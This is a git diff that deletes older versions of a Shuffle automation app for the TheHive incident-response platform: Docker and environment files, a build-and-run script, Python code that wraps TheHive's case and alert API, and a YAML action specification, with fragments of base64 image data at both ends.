zseMTuC0nVwrhLDQSYoiF0WNEQw8R9t1oK1rHl6W8e1aMrZ0iUyvw2s/Fy55VuXMxKSTKkHGYaJBo6H7C7RtRY8/ZMJvdljHjYUouMrUPbnYNXvbMuLhN8v2tC0MqQ1VDqOHfEQ7ejhp9wl6xasxuss9o2xenESez0t5e3XpSnChav77VlSE7xl5GlV4mGnoQNfwwuvT6hLioejJmPJ/dR/rLcZqOwm05Kb4Go2V+r54jFochEwhiogHU2LNEQw/Ysn/lLdTLO2lLB67GbTkep/GDViwt8uHj/wFgziEWYtazhwAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0wOC0zMFQxNToyODo0Mi0wNDowMA9cm8cAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMDgtMzBUMTU6Mjg6MTMtMDQ6MDCQliarAAAAAElFTkSuQmCC diff --git a/thehive/1.1.1/docker-compose.yml b/thehive/1.1.1/docker-compose.yml deleted file mode 100644 index 47de05b2..00000000 --- a/thehive/1.1.1/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - thehive: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/thehive/1.1.1/env.txt b/thehive/1.1.1/env.txt deleted file mode 100644 index 1398a35f..00000000 --- a/thehive/1.1.1/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=thehive diff --git a/thehive/1.1.1/requirements.txt b/thehive/1.1.1/requirements.txt deleted file mode 100644 index 1d40c46a..00000000 --- a/thehive/1.1.1/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -thehive4py==1.8.1 -python-magic==0.4.18 diff --git a/thehive/1.1.1/run b/thehive/1.1.1/run deleted file mode 100644 index 7c7c2c69..00000000 --- a/thehive/1.1.1/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:thehive_1.0.0 --force -docker rm frikky/shuffle:thehive_1.0.0 --force -docker rmi frikky/shuffle:thehive_1.0.0 --force - -docker build . -t frikky/shuffle:thehive_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="" \ - frikky/shuffle:thehive_1.0.0 - -docker push frikky/shuffle:thehive_1.0.0 diff --git a/thehive/1.1.1/src/app.py b/thehive/1.1.1/src/app.py deleted file mode 100644 index c48dd1b2..00000000 --- a/thehive/1.1.1/src/app.py +++ /dev/null @@ -1,510 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import time -import random -import json -import requests -import thehive4py - -from thehive4py.api import TheHiveApi -from thehive4py.query import * -import thehive4py.models - -from walkoff_app_sdk.app_base import AppBase - - -class TheHive(AppBase): - """ - An example of a Walkoff App. - Inherit from the AppBase class to have Redis, logging, and console logging set up behind the scenes. - """ - - __version__ = "1.1.0" - app_name = "thehive" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # def run_analyzer(self, apikey, url, title_query): - # self.thehive = TheHiveApi(url, apikey, cert=False) - - # response = self.thehive.find_cases(query=String("title:'%s'" % title_query), range='all', sort=[]) - # return response.text - - def __connect_thehive(self, url, apikey, organisation): - if organisation: - self.thehive = TheHiveApi( - url, apikey, cert=False, organisation=organisation - ) - else: - self.thehive = TheHiveApi(url, apikey, cert=False) - - def search_case_title(self, apikey, url, organisation, title_query): - self.__connect_thehive(url, apikey, organisation) - - response = self.thehive.find_cases( - query=ContainsString("title", title_query), range="all", sort=[] - ) - - return response.text - - def custom_search(self, apikey, url, organisation, search_for, custom_query, range="all"): - self.__connect_thehive(url, apikey, organisation) - - try: - custom_query = json.loads(custom_query) - except: - #raise IOError("Invalid JSON payload received.") - pass - - if search_for == "alert": - response = self.thehive.find_alerts(query=custom_query, range="all", sort=[]) - else: - response = self.thehive.find_cases(query=custom_query, range="all", sort=[]) - - if response.status_code == 200 or response.status_code == 201 or response.status_code == 202: - return response.text - else: - raise IOError(response.text) - - def add_case_artifact( - self, apikey, url, organisation, case_id, data, datatype, tags - ): - self.__connect_thehive(url, apikey, organisation) - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - item = thehive4py.models.CaseObservable( - dataType=datatype, - data=data, - tlp=1, - ioc=False, - sighted=False, - tags=tags, - message="Created by shuffle", - ) - - return self.thehive.create_case_observable(id, item).text - - def search_alert_title( - self, apikey, url, organisation, title_query, search_range="0-25" - ): - self.__connect_thehive(url, apikey, organisation) - - # Could be "all" too - if search_range == "": - search_range = "0-25" - - response = self.thehive.find_alerts( - query=ContainsString("title", title_query), range=search_range, sort=[] - ) - - return response.text - - def create_case( - self, - apikey, - url, - organisation, - title, - description="", - tlp=1, - severity=1, - tags="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-2, not %s" % tlp - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 0-2, not %s" % tlp - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 2 or severity < 0: - return "Severity needs to be a number from 0-2, not %d" % tlp - - case = thehive4py.models.Case( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - ) - - try: - ret = self.thehive.create_case(case) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert( - self, - apikey, - url, - organisation, - type, - source, - sourceref, - title, - description="", - tlp=1, - severity=1, - tags="", - artifacts="", - ): - self.__connect_thehive(url, apikey, organisation) - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - else: - tags = [] - - # Wutface fix - if not tlp: - tlp = 1 - if not severity: - severity = 1 - - if isinstance(tlp, str): - if not tlp.isdigit(): - return "TLP needs to be a number from 0-3, not %s" % tlp - - tlp = int(tlp) - if isinstance(severity, str): - if not severity.isdigit(): - return "Severity needs to be a number from 1-3, not %s" % severity - - severity = int(severity) - - if tlp > 3 or tlp < 0: - return "TLP needs to be a number from 0-3, not %d" % tlp - if severity > 3 or severity < 1: - return "Severity needs to be a number from 1-3, not %d" % severity - - all_artifacts = [] - if artifacts != "": - #print("ARTIFACTS: %s" % artifacts) - if isinstance(artifacts, str): - #print("ITS A STRING!") - try: - artifacts = json.loads(artifacts) - except: - print("[ERROR] Error in parsing artifacts!") - - #print("ART HERE: %s" % artifacts) - #print("ART: %s" % type(artifacts)) - if isinstance(artifacts, list): - print("ITS A LIST!") - for item in artifacts: - print("ITEM: %s" % item) - try: - artifact = thehive4py.models.AlertArtifact( - dataType=item["data_type"], - data=item["data"], - ) - - try: - artifact["message"] = item["message"] - except: - pass - - - if item["data_type"] == "ip": - try: - if item["is_private_ip"]: - message += " IP is private." - except: - pass - - all_artifacts.append(artifact) - except KeyError as e: - print("Error in artifacts: %s" % e) - - alert = thehive4py.models.Alert( - title=title, - tlp=tlp, - severity=severity, - tags=tags, - description=description, - type=type, - source=source, - sourceRef=sourceref, - artifacts=all_artifacts, - ) - - try: - ret = self.thehive.create_alert(alert) - return ret.text - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - - def create_alert_artifact( - self, - apikey, - url, - organisation, - alert_id, - dataType, - data, - message=None, - tlp="2", - ioc="False", - sighted="False", - ignoreSimilarity="False", - tags=None, - ): - self.__connect_thehive(url, apikey, organisation) - - if tlp: - tlp = int(tlp) - else: - tlp = 2 - - ioc = ioc.lower().strip() == "true" - sighted = sighted.lower().strip() == "true" - ignoreSimilarity = ignoreSimilarity.lower().strip() == "true" - - if tags: - tags = [x.strip() for x in tags.split(",")] - else: - tags = [] - - alert_artifact = thehive4py.models.AlertArtifact( - dataType=dataType, - data=data, - message=message, - tlp=tlp, - ioc=ioc, - sighted=sighted, - ignoreSimilarity=ignoreSimilarity, - tags=tags, - ) - - try: - ret = self.thehive.create_alert_artifact(alert_id, alert_artifact) - except requests.exceptions.ConnectionError as e: - return "ConnectionError: %s" % e - if ret.status_code > 299: - raise ConnectionError(ret.text) - - return ret.text - - # Gets an item based on input. E.g. field_type = Alert - def get_item(self, apikey, url, organisation, field_type, cur_id): - self.__connect_thehive(url, apikey, organisation) - - newstr = "" - ret = "" - if field_type.lower() == "alert": - ret = self.thehive.get_alert(cur_id + "?similarity=1") - elif field_type.lower() == "case": - ret = self.thehive.get_case(cur_id) - elif field_type.lower() == "case_observables": - ret = self.thehive.get_case_observables(cur_id) - elif field_type.lower() == "case_task": - ret = self.thehive.get_case_task(cur_id) - elif field_type.lower() == "case_tasks": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "case_template": - ret = self.thehive.get_case_tasks(cur_id) - elif field_type.lower() == "linked_cases": - ret = self.thehive.get_linked_cases(cur_id) - elif field_type.lower() == "task_log": - ret = self.thehive.get_task_log(cur_id) - elif field_type.lower() == "task_logs": - ret = self.thehive.get_task_logs(cur_id) - else: - return ( - "%s is not implemented. See https://github.com/frikky/shuffle-apps for more info." - % field_type - ) - - return ret.text - - def close_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_read(alert_id).text - - def reopen_alert(self, apikey, url, organisation, alert_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.mark_alert_as_unread(alert_id).text - - def create_case_from_alert(self, apikey, url, organisation, alert_id, case_template=None): - self.__connect_thehive(url, apikey, organisation) - response = self.thehive.promote_alert_to_case( - alert_id=alert_id, case_template=case_template - ) - return response.text - - def merge_alert_into_case(self, apikey, url, organisation, alert_id, case_id): - self.__connect_thehive(url, apikey, organisation) - req = url + f"/api/alert/{alert_id}/merge/{case_id}" - ret = requests.post(req, auth=self.thehive.auth) - return ret.text - - # Not sure what the data should be - def update_field( - self, apikey, url, organisation, field_type, cur_id, field, data - ): - # This is kinda silly but.. - if field_type.lower() == "alert": - newdata = {} - - if data.startswith("%s"): - ticket = self.thehive.get_alert(cur_id) - if ticket.status_code != 200: - pass - - newdata[field] = "%s%s" % (ticket.json()[field], data[2:]) - else: - newdata[field] = data - - # Bleh - url = "%s/api/alert/%s" % (url, cur_id) - if field == "status": - if data == "New" or data == "Updated": - url = "%s/markAsUnread" % url - elif data == "Ignored": - url = "%s/markAsRead" % url - - ret = requests.post( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - ) - else: - ret = requests.patch( - url, - headers={ - "Content-Type": "application/json", - "Authorization": "Bearer %s" % apikey, - }, - json=newdata, - ) - - return str(ret.status_code) - else: - return ( - "%s is not implemented. See https://github.com/frikky/walkoff-integrations for more info." - % field_type - ) - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def delete_alert_artifact(self, apikey, url, organisation, artifact_id): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.delete_alert_artifact(artifact_id).text - - # https://github.com/TheHive-Project/TheHiveDocs/tree/master/api/connectors/cortex - def run_analyzer( - self, apikey, url, organisation, cortex_id, analyzer_id, artifact_id - ): - self.__connect_thehive(url, apikey, organisation) - return self.thehive.run_analyzer(cortex_id, artifact_id, analyzer_id).text - - # Creates a task log in TheHive with file - def create_task_log( - self, apikey, url, organisation, task_id, message, filedata={} - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - data = {"_json": """{"message": "%s"}""" % message} - response = requests.post( - "%s/api/case/task/%s/log" % (url, task_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - # Creates an observable as a file in a case - def create_case_file_observable( - self, apikey, url, organisation, case_id, tags, filedata - ): - if filedata["success"] == False: - return "No file to upload. Skipping message." - - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if tags: - if ", " in tags: - tags = tags.split(", ") - elif "," in tags: - tags = tags.split(",") - else: - tags = [tags] - - files = {} - if len(filedata["data"]) > 0: - files = { - "attachment": (filedata["filename"], filedata["data"]), - } - - outerarray = {"dataType": "file", "tags": tags} - data = {"_json": """%s""" % json.dumps(outerarray)} - response = requests.post( - "%s/api/case/%s/artifact" % (url, case_id), - headers=headers, - files=files, - data=data, - ) - return response.text - - -if __name__ == "__main__": - TheHive.run() diff --git a/thehive/1.1.2/Dockerfile b/thehive/1.1.2/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/thehive/1.1.2/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/thehive/1.1.2/api.yaml b/thehive/1.1.2/api.yaml deleted file mode 100644 index d68309f8..00000000 --- a/thehive/1.1.2/api.yaml +++ /dev/null @@ -1,828 +0,0 @@ -walkoff_version: 1.1.2 -app_version: 1.1.2 -name: thehive -description: TheHive implementation for Shuffle -tags: - - Ticketing - - Search -categories: - - Cases - - Ticketing - - Search -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - parameters: - - name: apikey - description: The Apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to use - example: "http://localhost:9000" - required: true - schema: - type: string - - name: organisation - description: The Organisation - example: "myorg" - required: false - schema: - type: string -actions: - - name: create_alert - description: Create an alert in TheHive - parameters: - - name: type - description: The type to use for the alert - example: "incident" - required: true - schema: - type: string - - name: source - description: The source to use - example: "SIEM" - required: true - schema: - type: string - - name: sourceref - description: The source reference to use - example: "incident-1234" - required: true - schema: - type: string - - name: title - description: The title to use - example: "THIS IS AN INCIDENT, PANIC" - required: false - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - - name: artifacts - description: The artifacts to add - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: create_alert_artifact - description: Create an alert artifact (TheHive 4 ONLY) - parameters: - - name: alert_id - description: Alert identifier - example: "~1234" - required: true - schema: - type: string - - name: dataType - description: "Observable's type, must be a valid type, one of the defined data types in TheHive" - example: "ip" - required: true - schema: - type: string - - name: data - description: Observable's data/value - example: "8.8.8.8" - required: true - schema: - type: string - - name: message - description: Observable's description - example: "Extracted IP entity from product X" - required: false - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED. Default: 2" - example: "2" - required: false - schema: - type: string - - name: ioc - description: "Observable's ioc flag, True to mark an observable as IOC. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: sighted - description: "Observable's sighted flag, True to mark the observable as sighted. Default: False" - example: "False" - required: false - multiline: false - schema: - type: string - - name: ignoreSimilarity - description: "Observable's similarity ignore flag. Trueto ignore the observable during similarity computing" - example: "False" - required: false - multiline: false - schema: - type: string - - name: tags - description: List of observable tags - example: "ioc,alienvault,abuse.ch" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~4321", - "id": "~4321", - "createdBy": "user.1@example.com", - "createdAt": 1616443009693, - "_type": "case_artifact", - "dataType": "ip", - "data": "8.8.8.8", - "startDate": 1616443009693, - "tlp": 2, - "tags": [ - "test1" - ], - "ioc": false, - "sighted": false, - "message": "Test IP entity", - "reports": {}, - "stats": {} - } - ] - schema: - type: string - - name: create_case - description: Get an item from TheHive - parameters: - - name: template - description: The case template to be used - example: "MyCase Template" - required: false - multiline: true - schema: - type: string - - name: title - description: The title to use - example: "" - required: false - multiline: true - schema: - type: string - - name: description - description: The description to use - example: "" - required: false - multiline: true - schema: - type: string - - name: tlp - description: The tlp to use - example: "2" - required: false - schema: - type: string - - name: severity - description: The severity to use - example: "2" - required: false - schema: - type: string - - name: tags - description: The tags to use - example: "ioc,incident,this is a tag,what" - required: false - schema: - type: string - returns: - schema: - type: string - - name: create_case_from_alert - description: Create a case from alert - parameters: - - name: alert_id - description: The alert to promote it - example: "" - required: true - schema: - type: string - - name: case_template - description: Case template name to apply when creating the case - example: "" - required: false - schema: - type: string - returns: - schema: - type: string - - name: merge_alert_into_case - description: Merge alert into case. Each observable of the alert will be added to the case if it doesn't exist in the case. The description of the alert will be appended to the case's description. - parameters: - - name: alert_id - description: The alert to merge into case - example: "" - required: true - schema: - type: string - - name: case_id - description: The case to merge it to - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: add_case_artifact - description: Add an observable to TheHive - parameters: - - name: case_id - description: The case to add it to - example: "" - required: true - schema: - type: string - - name: data - description: The item to add itself - example: "shuffler.io" - required: true - schema: - type: string - - name: datatype - description: The type of the item to add - example: "domain" - required: true - schema: - type: string - - name: tags - description: The tags to use - example: "shuffle,is,cool" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_item - description: Get an item from TheHive - parameters: - - name: field_type - description: The type to get (alert, case..) - example: "alert" - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to retrieve - example: "" - required: true - schema: - type: string - returns: - schema: - type: string - - name: update_field - description: Update an alert field - parameters: - - name: field_type - description: The type to modify (alert, case..) - options: - - alert - - case - - case_observables - - case_task - - case_tasks - - linked_cases - - task_log - - task_logs - required: true - schema: - type: string - - name: cur_id - description: The ID of the item to modify - required: true - schema: - type: string - - name: field - description: The field to modify - required: true - schema: - type: string - - name: data - description: The data to set the field to. If you want to append to what already exists, start with %s. - required: true - multiline: true - schema: - type: string - returns: - schema: - type: number - - name: search_case_title - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "injection" - required: true - schema: - type: string - - name: custom_search - description: custom search Query - parameters: - - name: search_for - description: select case or alert - options: - - case - - alert - required: true - schema: - type: string - - name: custom_query - description: Custom query for search - example: "{\"_field\": \"title\", \"_value\": \"shuffle\"}" - multiline: true - required: true - schema: - type: string - - name: search_alert_title - description: Get an item from TheHive - parameters: - - name: title_query - description: The title to search for - example: "alert" - multiline: true - required: true - schema: - type: string - - name: search_range - description: The amount of alerts to get. Defaults to 0-25 - example: "0-50" - required: false - schema: - type: string - returns: - schema: - type: string - - name: close_alert - description: Close an alert in thehive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: reopen_alert - description: Reopen an alert in TheHive - parameters: - - name: alert_id - description: The ID to close - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - - name: run_analyzer - description: Reopen an alert in TheHive - parameters: - - name: cortex_id - description: The cortex ID - example: "MISP_2_0" - required: true - schema: - type: string - - name: analyzer_id - description: The analyzer to run - example: "MISP_2_0" - required: true - schema: - type: string - - name: artifact_id - description: The artifact ID - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_task_log - description: Creates a task log in TheHive - parameters: - - name: task_id - description: The task ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: message - description: The message to send - example: "A nice screenshot " - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: false - schema: - type: file - - name: delete_alert_artifact - description: Deletes and artifact from a TheHive alert - parameters: - - name: artifact_id - description: The artifact ID to delete - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: string - returns: - schema: - type: string - - name: create_case_file_observable - description: Creates a task log in TheHive - parameters: - - name: case_id - description: The case ID - example: "AXX1SWs8Oc6KiwR-tT2f" - required: true - schema: - type: string - - name: tags - description: Tags for the case artifact - example: "ioc,cool,artifact" - required: true - schema: - type: string - - name: filedata - description: The file ID from Shuffle - example: "adf5e3d0fd85633be17004735a0a119e" - required: true - schema: - type: file - returns: - schema: - type: string - - name: get_case_artifacts - description: Get all artifacts of a given case - parameters: - - name: case_id - description: Case ID - example: "~1282096" - required: true - schema: - type: string - - name: dataType - description: Data Type - example: "ip" - required: false - schema: - type: string - returns: - example: | - [ - { - "_id": "~1134608", - "_type": "case_artifact", - "createdAt": 1617032160728, - "createdBy": "soar_api@shuffle.local", - "data": "myuser", - "dataType": "other", - "id": "~1134608", - "ioc": true, - "message": "Offense source", - "reports": {}, - "sighted": false, - "startDate": 1617032160728, - "stats": {}, - "tags": [ - "Offense Source", - "QRadar" - ], - "tlp": 2 - } - ] - schema: - type: string - - name: update_case - description: Update case in TheHive - parameters: - - name: cur_id - description: The case id - example: "~123456" - required: true - multiline: false - schema: - type: string - - name: title - description: The case title to be used - example: "MyCase Title" - required: false - multiline: false - schema: - type: string - - name: description - description: The case description to be used - example: "MyCase description" - required: false - multiline: false - schema: - type: string - - name: severity - description: "Case's severity: 1, 2, 3, 4 for LOW, MEDIUM, HIGH, CRTICAL" - example: 2 - required: false - multiline: false - options: - - 1 - - 2 - - 3 - - 4 - schema: - type: integer - - name: owner - description: The case owner to be used - example: "admin@thehive.local" - required: false - multiline: false - schema: - type: string - - name: flag - description: If case is flagged or not - example: "False" - required: false - multiline: false - options: - - True - - False - schema: - type: string - - name: tlp - description: "Case's TLP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - options: - - 0 - - 1 - - 2 - - 3 - schema: - type: integer - - name: pap - description: "Case's PAP: 0, 1, 2, 3 for WHITE, GREEN, AMBER, RED" - example: 2 - required: false - multiline: false - options: - - 0 - - 1 - - 2 - - 3 - schema: - type: integer - - name: tags - description: List of tags to be used - example: "tag1,tag2,tag3" - required: false - multiline: false - schema: - type: string - - name: status - description: Case status to be used - example: "Open" - required: false - multiline: false - options: - - Open - - Resolved - - Duplicated - - Deleted - schema: - type: string - - name: resolution_status - description: Resolution status to be used - example: "FalsePositive" - required: false - multiline: false - options: - - FalsePositive - - TruePositive - - Indeterminate - - Duplicated - - Other - schema: - type: string - - name: impact_status - description: Case impact status to be used - example: "NotApplicable" - required: false - multiline: false - options: - - NotApplicable - - NoImpact - - WithImpact - schema: - type: string - - name: summary - description: Case summary to be updated - example: "MyCase summary" - required: false - multiline: true - schema: - type: string - - name: custom_fields - description: Case customfields to be used - example: | - { - "mystrcustomfield": "blah blah blah", - "myintcustomfield": 1234, - "myboolcustomfield": False, - "myfloatcustomfield": 12.3456, - ... - } - required: false - multiline: true - schema: - type: string - - name: custom_json - description: Case fields to be updated in json format - example: | - { - "title": "MyCase title", - "customfields": { - "myboolcustomfield": { - "boolean": false, - "order": 0 - }, - "myintcustomfield": { - "integer": 1234, - "order": 1 - }, - } - ... - } - required: false - multiline: true - schema: - type: string - returns: - schema: - type: string - - name: get_organisations - description: Get all TheHive organisations - returns: - example: | - [ - { - "_id": "~16504", - "_type": "organisation", - "createdAt": 1619086806515, - "createdBy": "system@thehive.local", - "description": "organisation for administration", - "id": "~16504", - "links": [], - "name": "admin" - }, - { - "_id": "~3420280", - "_type": "organisation", - "createdAt": 1619086920858, - "createdBy": "admin@thehive.local", - "description": "demo organisation", - "id": "~3420280", - "links": [], - "name": "demo" - } - ] - schema: - type: string - - name: create_organisation - description: Create a new organisation in TheHive - parameters: - - name: name - description: Organisation name - example: "MyOrgName" - required: true - schema: - type: string - - name: description - description: Organisation description - example: "MyOrg is the best!" - required: true - schema: - type: string - returns: - example: | - { - "_id": "~40964112", - "_type": "organisation", - "createdAt": 1623885332433, - "createdBy": "admin@thehive.local", - "description": "inu", - "id": "~40964112", - "links": [], - "name": "bruh" - } - schema: - type: string - - name: create_user - description: Create a new user in TheHive - parameters: - - name: login - description: User login - example: "newuser@thehive.local" - required: true - schema: - type: string - - name: name - description: User Name - example: "FirstName LastName" - required: true - schema: - type: string - - name: profile - description: User profile - example: "read-only" - required: true - options: - - org-admin - - analyst - - read-only - schema: - type: string - returns: - example: | - { - "_createdAt": 1623887155861, - "_createdBy": "admin@thehive.local", - "_id": "~16488", - "hasKey": false, - "hasMFA": false, - "hasPassword": false, - "locked": false, - "login": "shuffle@thehive.local", - "name": "Shuffle Soar", - "organisation": "demo", - "organisations": [], - "permissions": [ - "manageShare", - "manageAnalyse", - "manageTask", - "manageCaseTemplate", - "manageCase", - "manageUser", - "manageProcedure", - "managePage", - "manageObservable", - "manageTag", - "manageConfig", - "manageAlert", - "accessTheHiveFS", - "manageAction" - ], - "profile": "org-admin" - } - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAABkCAYAAABw4pVUAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH4wgeDxwNTyjOPAAAFq1JREFUeNrtnXmQZEWdxz+Z76iqvquruufgGu4R5ZiRQy65ApFhAEEGhlFc0T2IDdTViI3QCGN31dUIjV1kdZdFQ13XRS5hlVHOheEcEOWQG7lhoKd7unu6q6+qeu9l5v6Rr2t6pq+q7n7VA/qNmICqfvUy8/fL/GX+zhTGGMMiwahRdPEFoqEHiIY3o0tvALqufRBuHqf5Q3itJ+M0HI7wcoBYLJIg6s8QjQ66UEMPEw7djx57HqMGAbNIhIiHLxtw0vvhNB+P23ISTuYAEH7de1M/hpgIVXqZaOB2oqH70eUtYCIQksWckTv3UYOIV03T0XjZs3CaViNkQ926kDxDjEIV/0i4/WaiwgOYaFv8B1m3Qc6h02A0wmnCaToSr/18nOZjEDKTeMuJMkSX3yTsv5lw8A5M0ANCsNushqowgTHNx+Pn1+M0Hg7CTazFRBhi1DDhwG2Efdejy6+PN5XYIJJHzBgvh5ddi5dfj/T3SKSlBWaIQY0+Q7Dtx0TDD4MJ2L1FU+3jA5CZg/E7P4PXesqCb/wLxhCjxwi3byTY9lNM0AXCqT+96gWjEU4jbvZs/M5Lkf7SBXv1gjBEB+8QdP+AcPAOMGXeW6tiOliyOQ1HkFr2OZym1SyEWJ43Q9ToU5S7rkCNPTX+ysWmVH1hNMJfTmrpZXjZNSC8eb1uHgzRRIV7KXd9F11+670toqqghZBNeJ2fwu+4ZF56y9wYYhTh9o2Uu7+Pifr50xBRs8GA8PByF5BachnCbZ3TW2pniAkJ+m4g6PkBRg3xZ2ZMhAEkXnYtqeVfRLjZmt9Qm4ZjIoLe6yj3/CfoIn9mxq4QgCEc+DUAqeVfQrhtNb2heooaTbj9FoKeH8bM+BPbvGuCZUp5679h1EhNv6yaIWHh/yhv/T5Gj/BnZsyGeKVs30jQ8yPQ5ap/WZXIUiO/p9x1JUYNkKyYMoATW4CThrHW5sQmlwAUQd/1CC+P37GBamg3K0N0+U3LjKArYUJpZOYQ/NxF4DRR8VMkBaOJhu4jGrwzwbYEmCJBz4+Q/nLc1lNn/cWMDDFqhHL3VajiswkzwyCcVlJLL8dtOT7BdnaG03g4uvwmeuy5BMcnMWqAcve/I/29kJkDZ3x6BoYYwv4biQr3kPxpyuC2no7bfHT8McToILnmhIuQKaS/FD+/ntLb34xNPkmJL4kuvkq5+yrSe38N4bRM++S0DIlGfkfQe03CchZAI/098fPrrdnBRJR7/hs18luSmQgG4S0lvfwLCC+P23oabmETUeHe2F+TEIQkGnqAsP8m/M5LmY6mUzLERP0EPT/ChH11MIk4eO3nV5ayGv0DYd81sQUgIQIJhzC9H/6SSxFOI15+A2r0D7FvP8nJFxH0XYfTuAqncdWUT0wxBQ1B/y9RI48nzwyjcRrej9d+jv2oxgh6r8VEA9YrJ5xk/qEJt/8vuvgKAG7Taty2M0n8IIHEBD0E2/4Lo4arY4gae4Gw/yZAJdw5AzKDl9+A8DoAiAr3Eg1vTlZ0xMPWwVsE/TfGgRYufn4d0t+HxMOQhEM0/Eh8upuqZzvRKCDsuw4TbCXxjdwY3OYTcFtOsh/DbYR914EuUR/FUxAN3kk08pg